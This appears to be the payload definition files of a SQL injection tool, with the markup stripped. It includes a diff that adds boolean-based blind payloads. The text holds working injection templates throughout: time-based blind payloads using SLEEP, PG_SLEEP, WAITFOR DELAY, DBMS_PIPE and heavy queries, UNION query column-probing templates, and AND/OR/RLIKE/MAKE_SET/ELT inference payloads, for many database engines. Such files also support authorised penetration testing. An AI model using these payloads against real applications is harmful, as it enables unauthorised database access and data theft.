- - - MySQL time-based blind - Parameter replace (ELT) - 5 - 5 - 1 - 1,2,3 - 3 - ELT([INFERENCE],SLEEP([SLEEPTIME])) - - ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) - - - - -
- MySQL -
-
- - - PostgreSQL > 8.1 time-based blind - Parameter replace - 5 - 3 - 1 - 1,2,3 - 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) - - (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) - - - - -
- PostgreSQL - > 8.1 -
-
- - - PostgreSQL time-based blind - Parameter replace (heavy query) - 5 - 4 - 2 - 1,2,3 - 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) - - (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) - - - - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase time-based blind - Parameter replace - 5 - 3 - 1 - 1,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) - 5 - 4 - 2 - 1,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle time-based blind - Parameter replace - 5 - 3 - 1 - 1,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) - - - - -
- Oracle -
-
- - - Oracle time-based blind - Parameter replace (heavy queries) - 5 - 4 - 2 - 1,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) - - - - -
- Oracle -
-
- - - SQLite > 2.0 time-based blind - Parameter replace (heavy query) - 5 - 4 - 2 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) - - (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) - - - - -
- SQLite - > 2.0 -
-
- - - Firebird time-based blind - Parameter replace (heavy query) - 5 - 5 - 2 - 1,2,3 - 3 - IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) - - (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) - - - - -
- Firebird - >= 2.0 -
-
- - - SAP MaxDB time-based blind - Parameter replace (heavy query) - 5 - 5 - 2 - 1,3 - 3 - (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) - - (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) - - - - -
- SAP MaxDB -
-
- - - IBM DB2 time-based blind - Parameter replace (heavy query) - 5 - 5 - 2 - 1,2,3 - 3 - (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) - - (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) - - - - -
- IBM DB2 -
-
- - - - HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB > 2.0 time-based blind - Parameter replace (heavy query) - 5 - 2 - 2 - 1,2,3 - 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) - - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) - - - - -
- HSQLDB - > 2.0 -
-
- - - - - - MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses - 5 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) - - - - -
- MySQL - >= 5.0.11 -
-
- - - MySQL < 5.0.12 time-based blind - GROUP BY and ORDER BY clauses (heavy query) - 5 - 4 - 2 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) - - - - -
- MySQL -
-
- - - PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses - 5 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) - - - - -
- PostgreSQL - > 8.1 -
-
- - - PostgreSQL time-based blind - GROUP BY and ORDER BY clauses (heavy query) - 5 - 4 - 2 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) - - - - -
- PostgreSQL -
-
- - - Microsoft SQL Server/Sybase time-based blind - ORDER BY clauses - 5 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) - 5 - 4 - 2 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) - - - - -
- Microsoft SQL Server - Sybase - Windows -
-
- - - Oracle time-based blind - GROUP BY and ORDER BY clauses - 5 - 3 - 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) - - - - -
- Oracle -
-
- - - Oracle time-based blind - GROUP BY and ORDER BY clauses (heavy query) - 5 - 4 - 2 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) - - - - -
- Oracle -
-
- - - HSQLDB >= 1.7.2 time-based blind - GROUP BY and ORDER BY clauses (heavy query) - 5 - 4 - 2 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - -- - - - - -
- HSQLDB - >= 1.7.2 -
-
- - - HSQLDB > 2.0 time-based blind - GROUP BY and ORDER BY clauses (heavy query) - 5 - 4 - 2 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) - - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) - - - - -
- HSQLDB - > 2.0 -
-
- - - - - - - MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [CHAR] - [COLSTART]-[COLSTOP] - - - - -
- MySQL -
-
- - - MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - NULL - [COLSTART]-[COLSTOP] - - - - -
- MySQL -
-
- - - MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [RANDNUM] - [COLSTART]-[COLSTOP] - - - - -
- MySQL -
-
- - - MySQL UNION query ([CHAR]) - 1 to 10 columns - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [CHAR] - 1-10 - - - - -
- MySQL -
-
- - - MySQL UNION query (NULL) - 1 to 10 columns - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - NULL - 1-10 - - - - -
- MySQL -
-
- - - MySQL UNION query ([RANDNUM]) - 1 to 10 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [RANDNUM] - 1-10 - - - - -
- MySQL -
-
- - - MySQL UNION query ([CHAR]) - 11 to 20 columns - 3 - 2 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [CHAR] - 11-20 - - - - -
- MySQL -
-
- - - MySQL UNION query (NULL) - 11 to 20 columns - 3 - 2 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - NULL - 11-20 - - - - -
- MySQL -
-
- - - MySQL UNION query ([RANDNUM]) - 11 to 20 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [RANDNUM] - 11-20 - - - - -
- MySQL -
-
- - - MySQL UNION query ([CHAR]) - 21 to 30 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [CHAR] - 21-30 - - - - -
- MySQL -
-
- - - MySQL UNION query (NULL) - 21 to 30 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - NULL - 21-30 - - - - -
- MySQL -
-
- - - MySQL UNION query ([RANDNUM]) - 21 to 30 columns - 3 - 4 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [RANDNUM] - 21-30 - - - - -
- MySQL -
-
- - - MySQL UNION query ([CHAR]) - 31 to 40 columns - 3 - 4 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [CHAR] - 31-40 - - - - -
- MySQL -
-
- - - MySQL UNION query (NULL) - 31 to 40 columns - 3 - 4 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - NULL - 31-40 - - - - -
- MySQL -
-
- - - MySQL UNION query ([RANDNUM]) - 31 to 40 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [RANDNUM] - 31-40 - - - - -
- MySQL -
-
- - - MySQL UNION query ([CHAR]) - 41 to 50 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [CHAR] - 41-50 - - - - -
- MySQL -
-
- - - MySQL UNION query (NULL) - 41 to 50 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - NULL - 41-50 - - - - -
- MySQL -
-
- - - MySQL UNION query ([RANDNUM]) - 41 to 50 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - # - [RANDNUM] - 41-50 - - - - -
- MySQL -
-
- - - Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [CHAR] - [COLSTART]-[COLSTOP] - - - - - - - - Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - NULL - [COLSTART]-[COLSTOP] - - - - - - - - Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [RANDNUM] - [COLSTART]-[COLSTOP] - - - - - - - - Generic UNION query ([CHAR]) - 1 to 10 columns - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [CHAR] - 1-10 - - - - - - - - Generic UNION query (NULL) - 1 to 10 columns - 3 - 1 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - NULL - 1-10 - - - - - - - - Generic UNION query ([RANDNUM]) - 1 to 10 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [RANDNUM] - 1-10 - - - - - - - - Generic UNION query ([CHAR]) - 11 to 20 columns - 3 - 2 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [CHAR] - 11-20 - - - - - - - - Generic UNION query (NULL) - 11 to 20 columns - 3 - 2 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - NULL - 11-20 - - - - - - - - Generic UNION query ([RANDNUM]) - 11 to 20 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [RANDNUM] - 11-20 - - - - - - - - Generic UNION query ([CHAR]) - 21 to 30 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [CHAR] - 21-30 - - - - - - - - Generic UNION query (NULL) - 21 to 30 columns - 3 - 3 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - NULL - 21-30 - - - - - - - - Generic UNION query ([RANDNUM]) - 21 to 30 columns - 3 - 4 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [RANDNUM] - 21-30 - - - - - - - - Generic UNION query ([CHAR]) - 31 to 40 columns - 3 - 4 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [CHAR] - 31-40 - - - - - - - - Generic UNION query (NULL) - 31 to 40 columns - 3 - 4 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - NULL - 31-40 - - - - - - - - Generic UNION query ([RANDNUM]) - 31 to 40 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [RANDNUM] - 31-40 - - - - - - - - Generic UNION query ([CHAR]) - 41 to 50 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [CHAR] - 41-50 - - - - - - - Generic UNION query (NULL) - 41 to 50 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - NULL - 41-50 - - - - - - - - Generic UNION query ([RANDNUM]) - 41 to 50 columns - 3 - 5 - 1 - 1,2,3,4,5 - 1 - [UNION] - - - -- - [RANDNUM] - 41-50 - - - - - - -
diff --git a/xml/payloads/01_boolean_blind.xml b/xml/payloads/01_boolean_blind.xml new file mode 100644 index 000000000..19f2b1ce9 --- /dev/null +++ b/xml/payloads/01_boolean_blind.xml @@ -0,0 +1,1357 @@ + + + + + + + + AND boolean-based blind - WHERE or HAVING clause + 1 + 1 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + + + AND [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE or HAVING clause + 1 + 1 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + + + OR [RANDNUM]=[RANDNUM1] + + + + + AND boolean-based blind - WHERE or HAVING clause (Generic comment) + 1 + 2 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + -- + + + AND [RANDNUM]=[RANDNUM1] + + + + + OR boolean-based blind - WHERE or HAVING clause (Generic comment) + 1 + 2 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + -- + + + OR [RANDNUM]=[RANDNUM1] + + + + + AND boolean-based blind - WHERE or HAVING clause (MySQL comment) + 1 + 3 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + # + + + AND [RANDNUM]=[RANDNUM1] + +
+ MySQL +
+
+ + + OR boolean-based blind - WHERE or HAVING clause (MySQL comment) + 1 + 3 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + # + + + OR [RANDNUM]=[RANDNUM1] + +
+ MySQL +
+
+ + + AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) + 1 + 3 + 1 + 1 + 1 + AND [INFERENCE] + + AND [RANDNUM]=[RANDNUM] + %16 + + + AND [RANDNUM]=[RANDNUM1] + +
+ Microsoft Access +
+
+ + + OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) + 1 + 3 + 3 + 1 + 2 + OR [INFERENCE] + + OR [RANDNUM]=[RANDNUM] + %16 + + + OR [RANDNUM]=[RANDNUM1] + +
+ Microsoft Access +
+
+ + + MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause + 1 + 2 + 1 + 1,2,3 + 1 + RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END)) + + RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END)) + + + RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END)) + +
+ MySQL +
+
+ + + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) + 1 + 3 + 1 + 1,2,3 + 1 + AND MAKE_SET([INFERENCE],[RANDNUM]) + + AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+
+ + + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) + 1 + 3 + 3 + 1,2,3 + 2 + OR MAKE_SET([INFERENCE],[RANDNUM]) + + OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+
+ + + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) + 1 + 4 + 1 + 1,2,3 + 1 + AND ELT([INFERENCE],[RANDNUM]) + + AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+
+ + + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) + 1 + 4 + 3 + 1,2,3 + 2 + OR ELT([INFERENCE],[RANDNUM]) + + OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+
+ + + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + 1 + 5 + 1 + 1,2,3 + 1 + AND ([INFERENCE])*[RANDNUM] + + AND ([RANDNUM]=[RANDNUM])*[RANDNUM1] + + + AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + +
+ MySQL +
+
+ + + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + 1 + 5 + 3 + 1,2,3 + 2 + OR ([INFERENCE])*[RANDNUM] + + OR ([RANDNUM]=[RANDNUM])*[RANDNUM1] + + + OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + +
+ MySQL +
+
+ + + + + MySQL >= 5.0 boolean-based blind - Parameter replace + 1 + 1 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL >= 5.0 boolean-based blind - Parameter replace (original value) + 1 + 2 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + +
+ MySQL + >= 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - Parameter replace + 1 + 2 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + MySQL < 5.0 boolean-based blind - Parameter replace (original value) + 1 + 3 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + +
+ MySQL + < 5.0 +
+
+ + + MySQL boolean-based blind - Parameter replace (MAKE_SET) + 1 + 4 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],[RANDNUM]) + + MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+
+ + + MySQL boolean-based blind - Parameter replace (MAKE_SET - original value) + 1 + 5 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],[ORIGVALUE]) + + MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE]) + + + MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE]) + +
+ MySQL +
+
+ + + MySQL boolean-based blind - Parameter replace (ELT) + 1 + 4 + 1 + 1,2,3 + 3 + ELT([INFERENCE],[RANDNUM]) + + ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) + + + ELT([RANDNUM]=[RANDNUM1],[RANDNUM1]) + +
+ MySQL +
+
+ + + MySQL boolean-based blind - Parameter replace (ELT - original value) + 1 + 5 + 1 + 1,2,3 + 3 + ELT([INFERENCE],[ORIGVALUE]) + + ELT([RANDNUM]=[RANDNUM],[ORIGVALUE]) + + + ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE]) + +
+ MySQL +
+
+ + + MySQL boolean-based blind - Parameter replace (bool*int) + 1 + 4 + 1 + 1,2,3 + 3 + ([INFERENCE])*[RANDNUM] + + ([RANDNUM]=[RANDNUM])*[RANDNUM1] + + + ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + +
+ MySQL +
+
+ + + MySQL boolean-based blind - Parameter replace (bool*int - original value) + 1 + 5 + 1 + 1,2,3 + 3 + ([INFERENCE])*[ORIGVALUE] + + ([RANDNUM]=[RANDNUM])*[ORIGVALUE] + + + ([RANDNUM]=[RANDNUM1])*[ORIGVALUE] + +
+ MySQL +
+
+ + + PostgreSQL boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) + +
+ PostgreSQL +
+
